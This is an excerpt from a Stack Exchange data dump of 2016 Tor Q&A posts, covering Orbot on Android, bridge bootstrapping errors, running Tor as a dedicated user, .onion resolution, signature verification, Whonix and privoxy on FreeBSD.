  <row Id="12737" PostTypeId="1" CreationDate="2016-09-24T11:55:19.300" Score="0" ViewCount="621" Body="&lt;p&gt;I use &lt;strong&gt;Orbot&lt;/strong&gt; on rooted android phone, I set it to „&lt;strong&gt;Tor everything&lt;/strong&gt;“.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want all apps to go through tor network or not connect at all.&#xA;Now, I use wifi connection that sometimes disconnects, how can I be sure that Firefox app and other apps don't go to clearnet in that short period of time when Orbot is making a connection to Tor network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a way to forbid all apps to connect if Orbot is not connected?&lt;/p&gt;&#xA;" OwnerUserId="13248" LastActivityDate="2017-01-22T20:50:22.133" Title="Orbot, android, is there a way to forbid apps to connect outside Tor?" Tags="|orbot|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12740" PostTypeId="2" ParentId="12737" CreationDate="2016-09-24T14:09:38.330" Score="1" Body="&lt;p&gt;If Orbot is already connected, and your Wi-Fi is disconnected for a short period, Orbot will either wait for a connection, or attempt to establish circuits via your mobile connection if your device has one. Apps will not be able to use the clearnet if this happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, some apps &lt;em&gt;may&lt;/em&gt; be able to use the clearnet while your device is booting, before Orbot gets a chance to set &lt;code&gt;iptables&lt;/code&gt;. I'm guessing you could fix that by manually editing &lt;code&gt;iptables&lt;/code&gt;, but I'm not sure.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-09-24T14:09:38.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12741" PostTypeId="2" ParentId="12737" CreationDate="2016-09-24T17:13:09.700" Score="-1" Body="&lt;p&gt;Just one 100% fail-safe way: use routing middlebox, that will be a hotspot which routes all the traffic through Tor. Other ways suffer from &quot;jailbreaks&quot;, especially on boot-up - check with Wireshark/tcpdump&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-24T17:13:09.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12742" PostTypeId="2" ParentId="12729" CreationDate="2016-09-24T17:16:51.187" Score="1" Body="&lt;p&gt;Not yet, to my knowledge. The concept is rather useless, by the way - at least with present Tor architecture: &lt;em&gt;yes&lt;/em&gt;, it makes DoS a bit more difficult to perform, and &lt;em&gt;no&lt;/em&gt;, DoS is an avalanche-like process, so DoSing 2,4,6,8,10,1,14,16,20 nodes - actually, it's no difference at all&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-24T17:16:51.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12745" PostTypeId="1" CreationDate="2016-09-25T09:44:38.483" Score="0" ViewCount="396" Body="&lt;p&gt;I don't want that the website I am visiting knows I am using tor. Is it possible to hide the hostname, as this one mentions tor (see below)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ueACW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ueACW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14484" LastActivityDate="2016-09-25T18:18:25.967" Title="Hide hostname in Tor" Tags="|anonymity|" AnswerCount="1" CommentCount="1" ClosedDate="2016-10-04T01:07:53.263" ContentLicense="CC BY-SA 3.0" />
  <row Id="12746" PostTypeId="2" ParentId="12703" CreationDate="2016-09-25T13:14:23.110" Score="1" Body="&lt;p&gt;Answered there:&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/12699/tor-launcher-could-not-connect-to-tor-control-port&quot;&gt;Tor Launcher: Could not connect to Tor control port&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OS X, Yosemite 10.10.5, same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've deleted Tor application, deleted &lt;code&gt;~/Library/Application Support&lt;/code&gt; folder, installed new stable version and now it works.&lt;/p&gt;&#xA;" OwnerUserId="14488" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-09-25T13:14:23.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12747" PostTypeId="1" CreationDate="2016-09-25T16:03:51.440" Score="1" ViewCount="144" Body="&lt;p&gt;25/9/2016&#xA;Bonjour tout le monde,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While launching Tor 6,05 as standard user, I check the connexions and noticed these lines :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tcp        0      0 localhost:58186         localhost:ipp           ESTABLISHED root       13693       -&lt;br&gt;&#xA;tcp        0      0 localhost:42429         localhost:9150          TIME_WAIT   root       0           -&lt;br&gt;&#xA;tcp        0      0 192.168.0.15:37517      46.19.93.214:https      ESTABLISHED administrateur 24447       -&lt;br&gt;&#xA;tcp        0      0 localhost:37651         localhost:9151          ESTABLISHED administrateur 26433       2111/firefox&lt;br&gt;&#xA;tcp        0      0 localhost:42432         localhost:9150          TIME_WAIT   root       0           -&lt;br&gt;&#xA;tcp        0      0 localhost:9151          localhost:37651         ESTABLISHED administrateur 26434       -&lt;br&gt;&#xA;tcp        0      0 localhost:ipp           localhost:58186         ESTABLISHED root       14340       -&lt;br&gt;&#xA;tcp        0      0 localhost:37650         localhost:9151          ESTABLISHED administrateur 26400       2111/firefox&lt;br&gt;&#xA;tcp        0      0 localhost:9151          localhost:37650         ESTABLISHED administrateur 24442       -&lt;br&gt;&#xA;tcp        0      0 192.168.0.15:35375      tor.epow0.org:9001      ESTABLISHED administrateur 24509       -&lt;br&gt;&#xA;tcp        0      0 localhost:37655         localhost:9151          ESTABLISHED administrateur 26682       2111/firefox&lt;br&gt;&#xA;tcp        0      0 localhost:42431         localhost:9150          TIME_WAIT   root       0           -&lt;br&gt;&#xA;tcp        0      0 localhost:9151          localhost:37655         ESTABLISHED administrateur 26683&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See those lines as root user ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Port 9150 is linked with Tor, right ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know &quot;time wait&quot; means no more active connexions,&#xA;I know these connexions are localhost,&#xA;but ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How Tor managed to get root access ? I never used it as root and installed it as standard user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am worrying about privilege escalation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cordialement.&lt;/p&gt;&#xA;" OwnerUserId="14489" LastActivityDate="2017-02-25T16:27:01.890" Title="Root access in Tor 6,0.5?" Tags="|security|debian|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12749" PostTypeId="2" ParentId="12747" CreationDate="2016-09-25T18:00:36.973" Score="1" Body="&lt;p&gt;Port 9150 is a Tor SOCKS port by default, so something was using &lt;em&gt;your local&lt;/em&gt; SOCKS[port 9150] and &lt;em&gt;your local&lt;/em&gt; ControlPort to control Tor via telnet protocol, default port is 9151. The Tor itself seems to behave fine, no rooting/jailbreaking so far. Please post your &lt;code&gt;torrc&lt;/code&gt; config if you need to take a deeper look, but your log looks OK and very common for TorButton or something similar like Tor Browser Bundle.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-25T18:00:36.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12750" PostTypeId="2" ParentId="9025" CreationDate="2016-09-25T18:15:20.183" Score="1" Body="&lt;p&gt;So - here are your answers, step by step:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Q1&lt;/strong&gt; Tor has no folder-hardcode in it's entire source, and if you're about to use &lt;code&gt;/opt/tordir&lt;/code&gt; or &lt;em&gt;anything else that is physically reachable in your FileSystem API&lt;/em&gt; - it's totally OK. Just &lt;strong&gt;make sure&lt;/strong&gt; that you will make it &lt;em&gt;actually reachable&lt;/em&gt; by issuing &lt;code&gt;chown -R tor-user:tor-user-primary-group /path/to/your/tordir&lt;/code&gt; and making it referenced as &lt;code&gt;DataDirectory /full/path/to/your/tordir/from/the/very/top&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; corresponding values with full path too: &lt;code&gt;GeoIPFile&lt;/code&gt;,&lt;code&gt;GeoIPv6File&lt;/code&gt;,&lt;code&gt;PidFile&lt;/code&gt;. And the magic goes on! Use &lt;code&gt;User tor-user&lt;/code&gt; as the &lt;strong&gt;very last line&lt;/strong&gt; in your &lt;code&gt;torrc&lt;/code&gt;. That's it - I'm running Tor from it's dedicated and non-standart folder too.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Q2&lt;/strong&gt; Make a separate directory for Tor(look Q1 answer), use &lt;code&gt;/etc/torrc&lt;/code&gt; owned by root &lt;strong&gt;only&lt;/strong&gt; and run it as a regular dedicated user. Additional file security is - actually - not required strictly, &lt;em&gt;but of course a UMASK 077 is in order&lt;/em&gt; &lt;strong&gt;system-wide&lt;/strong&gt;, or don't speak about a filesystem security on that host at all. Extra level of defense - above umask 077 - if you will need it - I'd recommend you AppArmor, used it in Ubuntu and in Debian. Really simple and powerful tool if you need some additional hardening.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Q3&lt;/strong&gt; it's a native part of &lt;code&gt;sudo&lt;/code&gt; toolset, so it's totally fine to use it: because only root is able to use it and even read a sudoers file. But as in any case of include-configs, &lt;strong&gt;do check that not a byte is included from either directories or files&lt;/strong&gt;: all the sudo permissions &lt;strong&gt;must&lt;/strong&gt; reside on &lt;em&gt;one single file&lt;/em&gt;. And if you'll have a root account breached - your server is lost regardless of OS you're using(except MS-DOS, pehaps)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Feel free to ask more questions - I'll be glad to help!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-25T18:15:20.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12751" PostTypeId="2" ParentId="12745" CreationDate="2016-09-25T18:18:25.967" Score="0" Body="&lt;p&gt;No, you can't block a reverse DNS lookup on &lt;strong&gt;remote website's server&lt;/strong&gt;, and - even if you could - beleive me, that just processing a webserver's log to extract IP addresses takes only some strings of shell scripting medium class. And you can not prevent that =) And - if the IP's will be shown from log - they can be compared to Tor Exit Nodes lists, they're not top secret.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-25T18:18:25.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12752" PostTypeId="1" CreationDate="2016-09-25T18:31:24.580" Score="1" ViewCount="2085" Body="&lt;p&gt;&quot;no running bridges&quot;+&quot;no running dirservers&quot; problem appeared suddenly. Starting a few days ago, - &lt;em&gt;only&lt;/em&gt; when trying to use bridges - Tor does not finish bootstapping itself. Here's the log (after reading in the geoip data) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sep 25 20:08:54.000 [notice] Bootstrapped 0%: Starting&#xA;Sep 25 20:08:55.000 [notice] Delaying directory fetches: No running bridges&#xA;Sep 25 20:08:57.000 [notice] While fetching directory info, no running dirserver&#xA;s known. Will try again later. (purpose 6)&#xA;Sep 25 20:08:57.000 [notice] While fetching directory info, no running dirserver&#xA;s known. Will try again later. (purpose 6)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Loading does not progress, stalls forever at this point ! &#xA;Getting fresh bridges from the torproject does not change the failure mode. &#xA;Note again :1) using bridges (with or without a fake &quot;transport&quot; &amp;amp; obfsproxy) used to work OK. 2) Tor by itself (with &quot;bridge&quot; related lines commented out) still works perfectly... OS is Win32.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what the cause of such bizarre symptoms ? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edited : after several days the problem in question disappeared as it had appeared : unexpectedly. Here is for comparison the Tor client's log (after geoip info was read in and parsed) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sep 30 19:32:40.000 [notice] Bootstrapped 0%: Starting&#xA;Sep 30 19:32:41.000 [notice] new bridge descriptor 'AlliumGermanicus' (cached):&#xA;$XXXXX..XXX~AlliumGermanicus at X.Y.Z.T&#xA;Sep 30 19:32:41.000 [notice] Delaying directory fetches: Pluggable transport pro&#xA;xies still configuring&#xA;Sep 30 19:32:43.000 [notice] While fetching directory info, no running dirserver&#xA;s known. Will try again later. (purpose 6)&#xA;Sep 30 19:32:43.000 [notice] Bootstrapped 5%: Connecting to directory server&#xA;Sep 30 19:32:44.000 [notice] Bootstrapped 10%: Finishing handshake with director&#xA;y server&#xA;Sep 30 19:32:44.000 [notice] Bootstrapped 15%: Establishing an encrypted directo&#xA;ry connection&#xA;Sep 30 19:32:44.000 [notice] Bootstrapped 20%: Asking for networkstatus consensu&#xA;s&#xA;Sep 30 19:32:44.000 [notice] Bootstrapped 25%: Loading networkstatus consensus&#xA;Sep 30 19:32:47.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Sep 30 19:32:47.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Sep 30 19:32:48.000 [notice] Tor has successfully opened a circuit. Looks like c&#xA;lient functionality is working.&#xA;Sep 30 19:32:48.000 [notice] Bootstrapped 100%: Done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Issue solved for practical purposes(unless it recurs.)&#xA;Not making this an &quot;answer&quot; since I have no idea what caused the earlier failure. Moderator can close the question as far as I am concerned...&lt;/p&gt;&#xA;" OwnerUserId="14493" LastEditorUserId="14493" LastEditDate="2016-09-30T17:46:48.300" LastActivityDate="2016-09-30T17:46:48.300" Title="'No running dirserver' when trying to use bridges" Tags="|bridge|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12753" PostTypeId="1" CreationDate="2016-09-25T22:30:49.643" Score="0" ViewCount="1355" Body="&lt;p&gt;The Tor 'check' site says my browser is configured to use Tor.  Everything seems to work OK when I browser regular sites, except I can't get to any .onion pages.  For any .onion page I get an error that says &quot;server not found&quot;.  I've tried changing proxy settings and the Tor options on launch with no luck.  There is an icon to the left of the nav bar that says 'Tor Disabled' if I hover over the icon, but clicking the button doesn't show any option to enable.  Any help would be really appreciated!&lt;/p&gt;&#xA;" OwnerUserId="14497" LastActivityDate="2020-12-06T17:02:50.267" Title="Can't connect to .onion pages, browser is configured to use Tor" Tags="|tor-browser-bundle|configuration|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12754" PostTypeId="2" ParentId="10583" CreationDate="2016-09-25T23:36:20.360" Score="1" Body="&lt;p&gt;You can do it by using multile Tor instances and virtual network+VLanS. Tor does not needs &lt;em&gt;any&lt;/em&gt; &quot;emulator&quot; software: all the roles are implemented and running on &lt;code&gt;tor&lt;/code&gt; binary&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-25T23:36:20.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12755" PostTypeId="2" ParentId="12753" CreationDate="2016-09-25T23:38:16.303" Score="1" Body="&lt;p&gt;You need to set up an option &quot;Use proxy to resolve hostnames&quot; - your dot-onion DNS resolve must not go to your ISP's DNS servers, tor SOCKS backend must resolve &lt;em&gt;all&lt;/em&gt; names all by itself&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-25T23:38:16.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12761" PostTypeId="1" CreationDate="2016-09-27T14:53:24.257" Score="2" ViewCount="355" Body="&lt;p&gt;I've currently set up Whonix VMs using Virtual Box on OS X 10.11.6. Before that I was using a Bitcoin-qt with Tor Browser Bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm having question what is a best way to use bitcoin+tor setup in my case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be dangerous for my anonymity to run TorBB+Bitcoin-QT setup on host(OSX) machine while running Whonix VM setup at the same time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the best way is to transfer somehow my bitcoins to Whonix Workstation, and set up there something like a thin wallet (electrum or multibit)? Or could I just leave the TorBB+Bitcoin scheme on my OSX, running it just for Bitcoin, while using Whonix for all other anonymous stuff (like browsing etc.)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hey, community, how would you address this situation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="12879" LastActivityDate="2017-01-26T21:16:34.330" Title="Running TorBB on host machine while running Whonix VM setup as guest on the same physical box" Tags="|tor-browser-bundle|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12762" PostTypeId="1" CreationDate="2016-09-27T17:02:22.793" Score="2" ViewCount="772" Body="&lt;p&gt;I tried to follow the tutorial (&lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/verifying-signatures.html.en&lt;/a&gt;) and also checked this forum looking for help (&lt;a href=&quot;https://tor.stackexchange.com/questions/2078/tor-browser-how-to-verify-signature&quot;&gt;Tor Browser-how to verify signature?&lt;/a&gt;) but none of the things I've tried have worked yet.&lt;/p&gt;&#xA;&lt;p&gt;So, if I happen to be lazy and decide to go on and start using Tor Browser, how dangerous would it be to surf on the web using a non-verified Tor browser?&lt;/p&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14515" LastEditorUserId="14515" LastEditDate="2021-04-27T10:52:16.477" LastActivityDate="2021-04-27T10:52:16.477" Title="How dangerous is it to run Tor without verifying the signature of the package?" Tags="|verification|packages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12764" PostTypeId="1" CreationDate="2016-09-27T21:26:43.800" Score="1" ViewCount="6844" Body="&lt;p&gt;I have Orbot and Orweb downloaded on my android (samsung s3) it connects when I have my wifi on and I can search fine but when I use my data, the page only loads 25% and then hangs.  Do I need to configure something?  It's been a while since I downloaded this so I thought maybe I restricted Orbot to only use a wifi connection (if that's even possible?) but wouldn't know how to undo it. Any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="14517" LastActivityDate="2019-05-02T00:02:10.683" Title="How to make Tor work using mobile data?" Tags="|orbot|android|mobile|orweb|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12765" PostTypeId="2" ParentId="12762" CreationDate="2016-09-27T22:55:29.947" Score="1" Body="&lt;p&gt;You better avoid this kind of running: when I helped people I saw a fake Tor Browser distributions: &lt;code&gt;tor.exe&lt;/code&gt; binary was replaced with some malicious program that even tried to mimic original program's behaviour and even log output! So - do yourself a favour - check the signature. it &lt;em&gt;is&lt;/em&gt; simple. Need help with signature checking?&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-27T22:55:29.947" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12766" PostTypeId="1" CreationDate="2016-09-27T23:20:30.947" Score="1" ViewCount="593" Body="&lt;p&gt;I am a beginner and successfully installed Tor Browser (64-bit) for Kali Linux on my MacBook. The Tor Browser icon was present in the Usual Applications folder on the Kali Linux desktop, but when I shut down and rebooted it was no longer displayed and I could not find Tor via search. Any ideas why this is happening and how to resolve? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14519" LastActivityDate="2016-09-27T23:20:30.947" Title="Tor Browser Disappears After Re-Booting" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12768" PostTypeId="2" ParentId="10317" CreationDate="2016-09-28T11:31:49.167" Score="0" Body="&lt;p&gt;It seems that tor automatically do that when you check&lt;br&gt;&#xA;Request root                        ☑&#xA;Transparent proxying         ☑&#xA;Tor everything                     ☑&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(requires root) &lt;/p&gt;&#xA;" OwnerUserId="14527" LastActivityDate="2016-09-28T11:31:49.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12769" PostTypeId="2" ParentId="10317" CreationDate="2016-09-28T12:21:02.067" Score="0" Body="&lt;p&gt;Thats not entirely possible but you could turn on the option to start tor automatically on boot. That will start tor automatically when you boot your device.&lt;/p&gt;&#xA;" OwnerUserId="14526" LastActivityDate="2016-09-28T12:21:02.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12771" PostTypeId="2" ParentId="12764" CreationDate="2016-09-28T12:31:04.277" Score="1" Body="&lt;p&gt;You can connect to Tor on mobile data the same way you do on WiFi.&#xA;In case your Carrier blocks Tor, you could use the bridges available in Orbot.&lt;/p&gt;&#xA;" OwnerUserId="14526" LastEditorUserId="12240" LastEditDate="2016-10-01T11:50:56.167" LastActivityDate="2016-10-01T11:50:56.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12773" PostTypeId="2" ParentId="9108" CreationDate="2016-09-28T14:32:49.693" Score="2" Body="&lt;p&gt;Found it - it's the places.sqlite file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Users/xxx/Library/Application Support/TorBrowser-Data/Browser/xxx.default/places.sqlite&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14530" LastEditorUserId="71" LastEditDate="2016-10-01T12:08:03.937" LastActivityDate="2016-10-01T12:08:03.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12775" PostTypeId="1" CreationDate="2016-09-28T17:52:57.173" Score="0" ViewCount="310" Body="&lt;p&gt;Following the instructions on the Tor &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en#FindingMore&quot; rel=&quot;nofollow&quot;&gt;Bridges&lt;/a&gt; page, I sent an email  requesting some obfs4 bridges.&#xA;I received a reply saying &quot;no bridges currently available.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I used the &lt;a href=&quot;https://bridges.torproject.org/options&quot; rel=&quot;nofollow&quot;&gt;BridgesDB&lt;/a&gt; from my browser to request obfs4 bridges and was provided with &lt;strong&gt;three&lt;/strong&gt;.&#xA;Obviously obfs4 bridges &lt;em&gt;are&lt;/em&gt; available, so why didn't the email method send any?&lt;/p&gt;&#xA;" OwnerUserId="14533" LastEditorUserId="14533" LastEditDate="2016-09-28T18:26:12.480" LastActivityDate="2016-10-03T02:28:10.237" Title="Extra Tor bridges" Tags="|directory|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12776" PostTypeId="2" ParentId="12761" CreationDate="2016-09-28T19:37:46.870" Score="1" Body="&lt;p&gt;Good day,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running the Tor Browser Bundle, or any browser for that matter parallel to Whonix is not recommend due to the fact that confusing which browser runs on Whonix and which on the host is inevitable. Further information to this may be found here: &lt;a href=&quot;https://www.whonix.org/wiki/DoNot#Do_not_use_clearnet_and_Tor_at_the_same_time&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/DoNot#Do_not_use_clearnet_and_Tor_at_the_same_time&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding to that I'd recommend transfering your Bitcoins onto your Whonix-Workstation, like you already mentioned. Information on this may be found here: &lt;a href=&quot;https://www.whonix.org/wiki/Money#Bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Money#Bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a nice day,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ego&lt;/p&gt;&#xA;" OwnerUserId="14536" LastActivityDate="2016-09-28T19:37:46.870" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12777" PostTypeId="2" ParentId="849" CreationDate="2016-09-28T23:56:10.000" Score="1" Body="&lt;p&gt;I know this question is old and browsing history related on windows, but I've found a tor data folder on the mac version. Whenever I've reinstalled tor, my bookmarks are there automatically. But if i delete '\library\application support\torbrowser-data' folder they're gone. Tor works fine after deleting this folder, it's simply recreated when the app starts. Not sure if the windows version works in the same way though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe worth checking in \app data\local or \app data\roaming for any tor related temporary folders. Don't know if there are any but just a thought.&lt;/p&gt;&#xA;" OwnerUserId="14538" LastEditorUserId="14538" LastEditDate="2016-09-29T00:06:19.970" LastActivityDate="2016-09-29T00:06:19.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12778" PostTypeId="1" CreationDate="2016-09-29T19:43:09.723" Score="-1" ViewCount="125" Body="&lt;p&gt;I have just found out about the wonderful world of Tor. I have it on my PC, but my question is: Can my internet company and/or phone service see what I'm searching? I understand that it is encrypted but what can they see  and if they can would a company just randomly say &quot;oh he is encrypted lets find out what he is doing?&quot; Also I have an Android LG K7 non rooted. What good apps are there that will help secure my phone?&lt;/p&gt;&#xA;" OwnerUserId="14543" LastEditorUserId="1765" LastEditDate="2016-10-04T01:07:31.503" LastActivityDate="2016-10-04T01:07:31.503" Title="can my phone company still track what i search useing my data" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ClosedDate="2016-10-04T01:05:07.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="12779" PostTypeId="2" ParentId="12778" CreationDate="2016-09-29T19:52:57.463" Score="-1" Body="&lt;p&gt;Yes, they can even mangle and censor your data usage: the &quot;exit node: for your connection is your &lt;em&gt;phone&lt;/em&gt;, and it's logged in and routed through &lt;em&gt;their&lt;/em&gt; network. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-29T19:52:57.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12780" PostTypeId="2" ParentId="12778" CreationDate="2016-09-29T19:59:17.880" Score="1" Body="&lt;p&gt;The point of your communications being &lt;em&gt;encrypted&lt;/em&gt; is that your ISP &lt;em&gt;cannot&lt;/em&gt; see what you are doing. Your data is encrypted using cryptographic keys that only you and the Tor network know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your ISP would be able to tell, if they cared to look, that you are in fact using Tor. But they would not be able to see what you're using it for. Chances are, they will never care to look.&lt;/p&gt;&#xA;" OwnerUserId="1765" LastActivityDate="2016-09-29T19:59:17.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12787" PostTypeId="1" AcceptedAnswerId="12792" CreationDate="2016-09-30T03:28:38.600" Score="1" ViewCount="178" Body="&lt;p&gt;I'm interested in hosting a Hidden service on a KVM host that I control. I'd like the first hop from the hidden service to also go through a relay running on the same KVM host. What settings do I need to make this happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;usefule information for others also found &lt;a href=&quot;https://tor.stackexchange.com/questions/11751/how-do-i-make-sure-my-tor-hidden-service-gets-trustworthy-entry-guards&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12828" LastEditorUserId="12828" LastEditDate="2016-10-02T04:10:21.827" LastActivityDate="2016-10-02T04:10:21.827" Title="How can I set up a Tor HS so that the first hop always goes through my relay?" Tags="|configuration|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12788" PostTypeId="1" AcceptedAnswerId="15528" CreationDate="2016-09-30T09:58:09.813" Score="0" ViewCount="1816" Body="&lt;p&gt;I followed this &lt;a href=&quot;https://forums.freebsd.org/threads/40307/&quot; rel=&quot;nofollow noreferrer&quot;&gt;method&lt;/a&gt; on FreeBSD, however, I receive the following errors and I'm not sure why:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fV6M4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fV6M4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only change made on default &lt;code&gt;tor&lt;/code&gt; config file is to uncomment the following line on &lt;code&gt;/usr/local/etc/tor/torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;RunAsDaemon 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only change made on default &lt;code&gt;privoxy&lt;/code&gt; config file was to add the following lines to &lt;code&gt;/usr/local/etc/privoxy/config&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;### Set the listen address to 127.0.0.1:8118&#xA;listen-address  127.0.0.1:8118&#xA;### forward privoxy to TOR&#xA;forward-socks4a / 127.0.0.1:9050 .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14550" LastEditorUserId="14550" LastEditDate="2017-08-17T09:02:40.520" LastActivityDate="2017-08-17T09:02:40.520" Title="Using tor on FreeBSD" Tags="|pluggable-transports|obfsproxy|obfs4|privoxy|freebsd|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
